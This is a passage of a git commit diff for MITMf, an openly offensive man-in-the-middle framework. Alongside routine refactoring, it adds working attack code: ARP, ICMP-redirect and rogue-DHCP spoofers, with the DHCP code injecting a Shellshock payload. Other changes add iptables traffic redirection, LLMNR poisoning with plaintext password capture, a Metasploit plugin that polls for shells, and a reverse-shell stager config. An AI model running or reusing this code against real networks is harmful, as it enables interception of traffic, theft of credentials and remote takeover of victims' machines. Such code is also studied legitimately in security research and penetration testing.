Version bump

Minor code optimizations
This commit is contained in:
byt3bl33d3r 2015-03-30 18:04:24 +02:00
parent 5e56049e44
commit 9086525c90
44 changed files with 913 additions and 490 deletions

View file

@ -1,4 +1,4 @@
MITMf V0.9.5
MITMf V0.9.6
============
Framework for Man-In-The-Middle attacks

View file

@ -31,7 +31,7 @@
[[DNS]]
www.facebook.com = 192.168.10.1
google.com = 192.168.10.1
google.com = 192.168.20.61
[Responder]
@ -327,7 +327,7 @@
[[[[WindowsIntelx86]]]]
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
HOST = 192.168.1.16
PORT = 8443
PORT = 4444
SHELL = reverse_tcp_stager
SUPPLIED_SHELLCODE = None
ZERO_CERT = False

View file

@ -1,4 +1,4 @@
# Copyright (c) 2010-2011 Ben Schmidt
# Copyright (c) 2010-2011 Ben Schmidt, Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
@ -39,6 +39,13 @@ class ProxyPlugins:
'''
_instance = None
@staticmethod
def getInstance():
if ProxyPlugins._instance == None:
ProxyPlugins._instance = ProxyPlugins()
return ProxyPlugins._instance
def setPlugins(self,plugins):
'''Set the plugins in use'''
self.plist = []
@ -90,11 +97,3 @@ class ProxyPlugins:
#pass our changes to the locals back down
return args
def getInstance():
if ProxyPlugins._instance == None:
ProxyPlugins._instance = ProxyPlugins()
return ProxyPlugins._instance
getInstance = staticmethod(getInstance)

View file

View file

@ -33,7 +33,7 @@ from SSLServerConnection import SSLServerConnection
from URLMonitor import URLMonitor
from CookieCleaner import CookieCleaner
from DnsCache import DnsCache
from libs.sergioproxy.ProxyPlugins import ProxyPlugins
from core.sergioproxy.ProxyPlugins import ProxyPlugins
from configobj import ConfigObj
class ClientRequest(Request):
@ -57,7 +57,7 @@ class ClientRequest(Request):
def cleanHeaders(self):
headers = self.getAllHeaders().copy()
#for k,v in headers.items():
#for k,v in headers.iteritems():
# logging.debug("[ClientRequest] Receiving headers: (%s => %s)" % (k, v))
if 'accept-encoding' in headers:

View file

@ -42,18 +42,17 @@ class CookieCleaner:
_instance = None
def __init__(self):
self.cleanedCookies = set();
self.enabled = False
@staticmethod
def getInstance():
if CookieCleaner._instance == None:
CookieCleaner._instance = CookieCleaner()
return CookieCleaner._instance
getInstance = staticmethod(getInstance)
def __init__(self):
self.cleanedCookies = set();
self.enabled = False
def setEnabled(self, enabled):
self.enabled = enabled

View file

@ -30,6 +30,13 @@ class DnsCache:
self.customAddress = None
self.cache = {}
@staticmethod
def getInstance():
if DnsCache._instance == None:
DnsCache._instance = DnsCache()
return DnsCache._instance
def cacheResolution(self, host, address):
self.cache[host] = address
@ -39,12 +46,6 @@ class DnsCache:
return None
def getInstance():
if DnsCache._instance == None:
DnsCache._instance = DnsCache()
return DnsCache._instance
def setCustomRes(self, host, ip_address=None):
if ip_address is not None:
self.cache[host] = ip_address
@ -55,5 +56,3 @@ class DnsCache:
def setCustomAddress(self, ip_address):
self.customAddress = ip_address
getInstance = staticmethod(getInstance)

View file

@ -26,7 +26,7 @@ except:
from twisted.web.http import HTTPClient
from URLMonitor import URLMonitor
from libs.sergioproxy.ProxyPlugins import ProxyPlugins
from core.sergioproxy.ProxyPlugins import ProxyPlugins
class ServerConnection(HTTPClient):
@ -80,7 +80,7 @@ class ServerConnection(HTTPClient):
self.sendCommand(self.command, self.uri)
def sendHeaders(self):
for header, value in self.headers.items():
for header, value in self.headers.iteritems():
logging.debug("Sending header: (%s => %s)" % (header, value))
self.sendHeader(header, value)

View file

@ -45,6 +45,13 @@ class URLMonitor:
self.hsts = False
self.hsts_config = None
@staticmethod
def getInstance():
if URLMonitor._instance == None:
URLMonitor._instance = URLMonitor()
return URLMonitor._instance
def isSecureLink(self, client, url):
for expression in URLMonitor.javascriptTrickery:
if (re.match(expression, url)):
@ -127,7 +134,7 @@ class URLMonitor:
self.hsts = True
self.hsts_config = hstsconfig
for k,v in self.hsts_config.items():
for k,v in self.hsts_config.iteritems():
self.sustitucion[k] = v
self.real[v] = k
@ -154,11 +161,3 @@ class URLMonitor:
else:
logging.debug("[URLMonitor][HSTS]New host: %s"%host)
return (host, False)
def getInstance():
if URLMonitor._instance == None:
URLMonitor._instance = URLMonitor()
return URLMonitor._instance
getInstance = staticmethod(getInstance)

View file

View file

@ -19,9 +19,34 @@
# USA
#
import os
import random
banner1 = """
class SystemConfig:
@staticmethod
def setIpForwarding(value):
with open('/proc/sys/net/ipv4/ip_forward', 'w') as file:
file.write(str(value))
file.close()
class iptables:
@staticmethod
def Flush():
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
@staticmethod
def HTTP(http_redir_port):
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % http_redir_port)
@staticmethod
def DNS(queue_number):
os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num %s' % queue_number)
class Banners:
banner1 = """
__ __ ___ .--. __ __ ___
| |/ `.' `. |__| | |/ `.' `. _.._
| .-. .-. '.--. .| | .-. .-. ' .' .._|
@ -35,7 +60,7 @@ banner1 = """
`'-' |_|
"""
banner2= """
banner2= """
@ -47,7 +72,7 @@ banner2= """
"""
banner3 = """
banner3 = """
@ -58,7 +83,7 @@ banner3 = """
"""
banner4 = """
banner4 = """
___ ___ ___
/\ \ /\ \ /\__\
|::\ \ ___ ___ |::\ \ /:/ _/_
@ -72,6 +97,7 @@ banner4 = """
\/__/ \/__/ \/__/ \/__/ \/__/
"""
def get_banner():
banners = [banner1, banner2, banner3, banner4]
return random.choice(banners)
@property
def printBanner(self):
banners = [self.banner1, self.banner2, self.banner3, self.banner4]
print random.choice(banners)

View file

47
core/wrappers/nfqueue.py Normal file
View file

@ -0,0 +1,47 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import threading
from netfilterqueue import NetfilterQueue
class Nfqueue():
def __init__(self, queue_number):
self.queue_number = queue_number
self.nfqueue = NetfilterQueue()
def start(self):
t = threading.Thread(name='nfqueue', target=self.bind, args=())
t.setDaemon(True)
t.start()
def bind(self):
self.nfqueue.bind(self.queue_number, self.callback)
self.nfqueue.run()
def stop(self):
try:
self.nfqueue.unbind()
except:
pass
def callback(self, payload):
payload.accept()

242
core/wrappers/protocols.py Normal file
View file

@ -0,0 +1,242 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
import threading
import binascii
import random
from base64 import b64decode
from urllib import unquote
from time import sleep
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import *
class _DHCP():
def __init__(self, interface, dhcpcfg, ip, mac):
self.interface = interface
self.ip_address = ip
self.mac_address = mac
self.shellshock = None
self.debug = False
self.dhcpcfg = dhcpcfg
self.rand_number = []
self.dhcp_dic = {}
def start(self):
t = threading.Thread(name="dhcp_spoof", target=self.dhcp_sniff, args=(self.interface,))
t.setDaemon(True)
t.start()
def dhcp_sniff(self, interface):
sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=interface)
def dhcp_rand_ip(self):
pool = self.dhcpcfg['ip_pool'].split('-')
trunc_ip = pool[0].split('.'); del(trunc_ip[3])
max_range = int(pool[1])
min_range = int(pool[0].split('.')[3])
number_range = range(min_range, max_range)
for n in number_range:
if n in self.rand_number:
number_range.remove(n)
rand_number = random.choice(number_range)
self.rand_number.append(rand_number)
rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number)
return rand_ip
def dhcp_callback(self, resp):
if resp.haslayer(DHCP):
xid = resp[BOOTP].xid
mac_addr = resp[Ether].src
raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
if xid in self.dhcp_dic.keys():
client_ip = self.dhcp_dic[xid]
else:
client_ip = self.dhcp_rand_ip()
self.dhcp_dic[xid] = client_ip
if resp[DHCP].options[0][1] is 1:
logging.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
logging.info("Sending DHCP OFFER")
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
IP(src=self.ip_address, dst='255.255.255.255') /
UDP(sport=67, dport=68) /
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
DHCP(options=[("message-type", "offer"),
('server_id', self.ip_address),
('subnet_mask', self.dhcpcfg['subnet']),
('router', self.ip_address),
('lease_time', 172800),
('renewal_time', 86400),
('rebinding_time', 138240),
"end"]))
try:
packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
except KeyError:
pass
sendp(packet, iface=self.interface, verbose=self.debug)
if resp[DHCP].options[0][1] is 3:
logging.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
IP(src=self.ip_address, dst='255.255.255.255') /
UDP(sport=67, dport=68) /
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
DHCP(options=[("message-type", "ack"),
('server_id', self.ip_address),
('subnet_mask', self.dhcpcfg['subnet']),
('router', self.ip_address),
('lease_time', 172800),
('renewal_time', 86400),
('rebinding_time', 138240)]))
try:
packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
except KeyError:
pass
if self.shellshock:
logging.info("Sending DHCP ACK with shellshock payload")
packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
packet[DHCP].options.append("end")
else:
logging.info("Sending DHCP ACK")
packet[DHCP].options.append("end")
sendp(packet, iface=self.interface, verbose=self.debug)
class _ARP():
def __init__(self, gateway, interface, mac):
self.gateway = gateway
self.gatewaymac = getmacbyip(gateway)
self.mac = mac
self.target = None
self.targetmac = None
self.interface = interface
self.arpmode = 'req'
self.debug = False
self.send = True
self.arp_inter = 3
def start(self):
if self.gatewaymac is None:
sys.exit("[-] Error: Could not resolve gateway's MAC address")
if self.target:
self.targetmac = getmacbyip(self.target)
if self.targetmac is None:
sys.exit("[-] Error: Could not resolve target's MAC address")
if self.arpmode == 'req':
pkt = self.build_arp_req()
elif self.arpmode == 'rep':
pkt = self.build_arp_rep()
t = threading.Thread(name='arp_spoof', target=self.send_arps, args=(pkt, self.interface, self.debug,))
t.setDaemon(True)
t.start()
def send_arps(self, pkt, interface, debug):
while self.send:
sendp(pkt, inter=self.arp_inter, iface=interface, verbose=debug)
def stop(self):
self.send = False
sleep(3)
self.arp_inter = 1
if self.target:
print "\n[*] Re-ARPing target"
self.reARP_target(5)
print "\n[*] Re-ARPing network"
self.reARP_net(5)
def build_arp_req(self):
if self.target is None:
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, pdst=self.gateway)
elif self.target:
pkt = Ether(src=self.mac, dst=self.targetmac)/\
ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target)
return pkt
def build_arp_rep(self):
if self.target is None:
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2)
elif self.target:
pkt = Ether(src=self.mac, dst=self.targetmac)/\
ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target, op=2)
return pkt
def reARP_net(self, count):
pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\
ARP(psrc=self.gateway, hwsrc=self.gatewaymac, op=2)
sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface)
def reARP_target(self, count):
pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\
ARP(psrc=self.target, hwsrc=self.targetmac, op=2)
sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface)
class _ICMP():
def __init__(self, interface, target, gateway, ip_address):
self.target = target
self.gateway = gateway
self.interface = interface
self.ip_address = ip_address
self.debug = False
self.send = True
self.icmp_interval = 2
def build_icmp(self):
pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=self.ip_address) /\
IP(src=self.target, dst=self.gateway)/UDP()
return pkt
def start(self):
pkt = self.build_icmp()
t = threading.Thread(name='icmp_spoof', target=self.send_icmps, args=(pkt, self.interface, self.debug,))
t.setDaemon(True)
t.start()
def stop(self):
self.send = False
sleep(3)
def send_icmps(self, pkt, interface, debug):
while self.send:
sendp(pkt, inter=self.icmp_interval, iface=interface, verbose=debug)

View file

@ -16,13 +16,28 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys,struct,SocketServer,re,socket,thread,Fingerprint,random,os,BaseHTTPServer, select,urlparse,zlib, string, time
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler,BaseServer
import sys
import struct
import SocketServer
import re
import socket
import thread
import Fingerprint
import random
import os
import BaseHTTPServer
import select
import urlparse
import zlib
import string
import time
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler, BaseServer
from Fingerprint import RunSmbFinger,OsNameClientVersion
from odict import OrderedDict
from socket import inet_aton
from random import randrange
from libs.sslstrip.DnsCache import DnsCache
from core.sslstrip.DnsCache import DnsCache
def IsOsX():
Os_version = sys.platform
@ -1067,7 +1082,7 @@ def ParseClearTextSQLPass(Data,client):
PwdStr = ParseSqlClearTxtPwd(Data[8+PwdOffset:8+PwdOffset+PwdLen])
UserName = Data[8+UsernameOffset:8+UsernameOffset+UsernameLen].decode('utf-16le')
if PrintData(outfile,UserName+":"+PwdStr):
logging.warning("MSSQL PlainText Password captured from :",client)
logging.warning("MSSQL PlainText Password captured from :",str(client))
logging.warning("MSSQL Username: %s Password: %s"%(UserName, PwdStr))
WriteData(outfile,UserName+":"+PwdStr,UserName+":"+PwdStr)
logging.warning('MSSQL PlainText Password captured from :%s'%(client))
@ -1232,7 +1247,7 @@ class LLMNR(BaseRequestHandler):
if RespondToIPScope(RespondTo, self.client_address[0]):
if RespondToSpecificName(RespondToName) == False:
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
DnsCache.getInstance().setCustomRes(Name.lower())
#DnsCache.getInstance().setCustomRes(Name.lower())
buff.calculate()
for x in range(1):
soc.sendto(str(buff), self.client_address)
@ -1254,7 +1269,7 @@ class LLMNR(BaseRequestHandler):
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
DnsCache.getInstance().setCustomRes(Name.lower())
#DnsCache.getInstance().setCustomRes(Name.lower())
buff.calculate()
for x in range(1):
soc.sendto(str(buff), self.client_address)
@ -1277,7 +1292,7 @@ class LLMNR(BaseRequestHandler):
if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False:
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
DnsCache.getInstance().setCustomRes(Name.lower())
#DnsCache.getInstance().setCustomRes(Name.lower())
buff.calculate()
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
for x in range(1):
@ -1297,7 +1312,7 @@ class LLMNR(BaseRequestHandler):
pass
if RespondToSpecificName(RespondToName) == False:
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
DnsCache.getInstance().setCustomRes(Name.lower())
#DnsCache.getInstance().setCustomRes(Name.lower())
buff.calculate()
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
for x in range(1):

View file

@ -18,27 +18,24 @@
# USA
#
import sys
import argparse
import os
import logging
from twisted.web import http
from twisted.internet import reactor
from libs.sslstrip.CookieCleaner import CookieCleaner
from libs.sergioproxy.ProxyPlugins import ProxyPlugins
from libs.banners import get_banner
import logging
from core.sslstrip.CookieCleaner import CookieCleaner
from core.sergioproxy.ProxyPlugins import ProxyPlugins
from core.utils import Banners
from configobj import ConfigObj
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import get_if_addr, get_if_hwaddr
from configobj import ConfigObj
from plugins import *
plugin_classes = plugin.Plugin.__subclasses__()
import sys
import argparse
import os
try:
import netfilterqueue
if netfilterqueue.VERSION[1] is not 6:
@ -52,12 +49,11 @@ try:
except ImportError:
print "[-] user_agents library missing! User-Agent parsing will be disabled!"
mitmf_version = "0.9.5"
mitmf_version = "0.9.6"
sslstrip_version = "0.9"
sergio_version = "0.2.1"
banner = get_banner()
print banner
Banners().printBanner
parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM attacks" % mitmf_version, version=mitmf_version, usage='', epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@')
#add MITMf options
@ -66,6 +62,9 @@ mgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="
mgroup.add_argument("-i", "--interface", required=True, type=str, metavar="interface" ,help="Interface to listen on")
mgroup.add_argument("-c", "--config-file", dest='configfile', type=str, default="./config/mitmf.cfg", metavar='configfile', help="Specify config file to use")
mgroup.add_argument('-d', '--disable-proxy', dest='disproxy', action='store_true', default=False, help='Only run plugins, disable all proxies')
#added by alexander.georgiev@daloo.de
mgroup.add_argument('-m', '--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically')
#add sslstrip options
sgroup = parser.add_argument_group("SSLstrip", "Options for SSLstrip library")
#sgroup.add_argument("-w", "--write", type=argparse.FileType('w'), metavar="filename", default=sys.stdout, help="Specify file to log to (stdout by default).")
@ -177,8 +176,8 @@ if args.disproxy:
ProxyPlugins.getInstance().setPlugins(load)
else:
from libs.sslstrip.StrippingProxy import StrippingProxy
from libs.sslstrip.URLMonitor import URLMonitor
from core.sslstrip.StrippingProxy import StrippingProxy
from core.sslstrip.URLMonitor import URLMonitor
URLMonitor.getInstance().setFaviconSpoofing(args.favicon)
CookieCleaner.getInstance().setEnabled(args.killsessions)

View file

@ -1,14 +1,35 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
# 99.9999999% of this code was stolen from https://github.com/koto/sslstrip by Krzysztof Kotowicz
from plugins.plugin import Plugin
from datetime import date
from libs.sslstrip.URLMonitor import URLMonitor
import logging
import re
import os.path
import time
import sys
from plugins.plugin import Plugin
from datetime import date
from core.sslstrip.URLMonitor import URLMonitor
class AppCachePlugin(Plugin):
name = "App Cache Poison"
optname = "appoison"

View file

@ -1,11 +1,32 @@
from plugins.plugin import Plugin
from plugins.Inject import Inject
from time import sleep
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
import sys
import json
import threading
import libs.beefapi as beefapi
import core.beefapi as beefapi
from plugins.plugin import Plugin
from plugins.Inject import Inject
from time import sleep
requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message
requests_log.setLevel(logging.WARNING)
@ -85,7 +106,7 @@ class BeefAutorun(Inject, Plugin):
if len(self.All_modules) > 0:
logging.info("%s >> sending generic modules" % session_ip)
for module, options in self.All_modules.items():
for module, options in self.All_modules.iteritems():
mod_id = beef.module_id(module)
resp = beef.module_run(session, mod_id, json.loads(options))
if resp["success"] == 'true':
@ -103,7 +124,7 @@ class BeefAutorun(Inject, Plugin):
if browser == hook_browser:
modules = self.Targeted_modules[os][browser]
if len(modules) > 0:
for module, options in modules.items():
for module, options in modules.iteritems():
mod_id = beef.module_id(module)
resp = beef.module_run(session, mod_id, json.loads(options))
if resp["success"] == 'true':

View file

@ -1,3 +1,23 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
from plugins.plugin import Plugin
from plugins.Inject import Inject
from pprint import pformat

View file

@ -1,3 +1,23 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
from plugins.plugin import Plugin

View file

@ -1,3 +1,23 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
"""
BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something'

View file

@ -1,3 +1,23 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import get_if_addr

View file

@ -1,12 +1,34 @@
from plugins.plugin import Plugin
from plugins.BrowserProfiler import BrowserProfiler
from time import sleep
import libs.msfrpc as msfrpc
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import core.msfrpc as msfrpc
import string
import random
import threading
import sys
import logging
from plugins.plugin import Plugin
from plugins.BrowserProfiler import BrowserProfiler
from time import sleep
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import get_if_addr
@ -67,7 +89,7 @@ class JavaPwn(BrowserProfiler, Plugin):
client_vstring = java_version[:-len(java_version.split('.')[3])-1]
client_uversion = int(java_version.split('.')[3])
for ver in self.javacfg['Multi'].items():
for ver in self.javacfg['Multi'].iteritems():
if type(ver[1]) is list:
for list_vers in ver[1]:
@ -108,7 +130,7 @@ class JavaPwn(BrowserProfiler, Plugin):
break
shell = msfinstance.call('session.list') #poll metasploit every 2 seconds for new sessions
if len(shell) > 0:
for k, v in shell.items():
for k, v in shell.iteritems():
if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted
logging.info("%s >> Got shell!" % client_ip)
self.sploited_ips.append(client_ip) #target successfuly exploited :)
@ -165,7 +187,7 @@ class JavaPwn(BrowserProfiler, Plugin):
#here we check to see if we already set up the exploit to avoid creating new jobs for no reason
jobs = msf.call('job.list') #get running jobs
if len(jobs) > 0:
for k, v in jobs.items():
for k, v in jobs.iteritems():
info = msf.call('job.info', [k])
if exploit in info['name']:
logging.info('%s >> %s already started' % (vic_ip, exploit))
@ -196,6 +218,7 @@ class JavaPwn(BrowserProfiler, Plugin):
logging.info("%s >> falling back to the signed applet attack" % vic_ip)
rand_url = self.rand_url()
rand_port = random.randint(1000, 65535)
cmd = "use exploit/multi/browser/java_signed_applet\n"
cmd += "set SRVPORT %s\n" % self.msfport
@ -217,7 +240,7 @@ class JavaPwn(BrowserProfiler, Plugin):
jobs = msf.call('job.list')
if len(jobs) > 0:
print '\n[*] Stopping all running metasploit jobs'
for k, v in jobs.items():
for k, v in jobs.iteritems():
msf.call('job.stop', [k])
consoles = msf.call('console.list')['consoles']

View file

@ -1,3 +1,23 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
from plugins.plugin import Plugin
from plugins.Inject import Inject
import logging

View file

@ -1,3 +1,23 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
"""
Plugin by @rubenthijssen
"""

View file

@ -1,11 +1,32 @@
from plugins.plugin import Plugin
from libs.responder.Responder import start_responder
from libs.sslstrip.DnsCache import DnsCache
from twisted.internet import reactor
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import sys
import os
import threading
from plugins.plugin import Plugin
from libs.responder.Responder import start_responder
from core.sslstrip.DnsCache import DnsCache
from twisted.internet import reactor
class Responder(Plugin):
name = "Responder"
optname = "responder"

View file

@ -1,3 +1,23 @@
#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
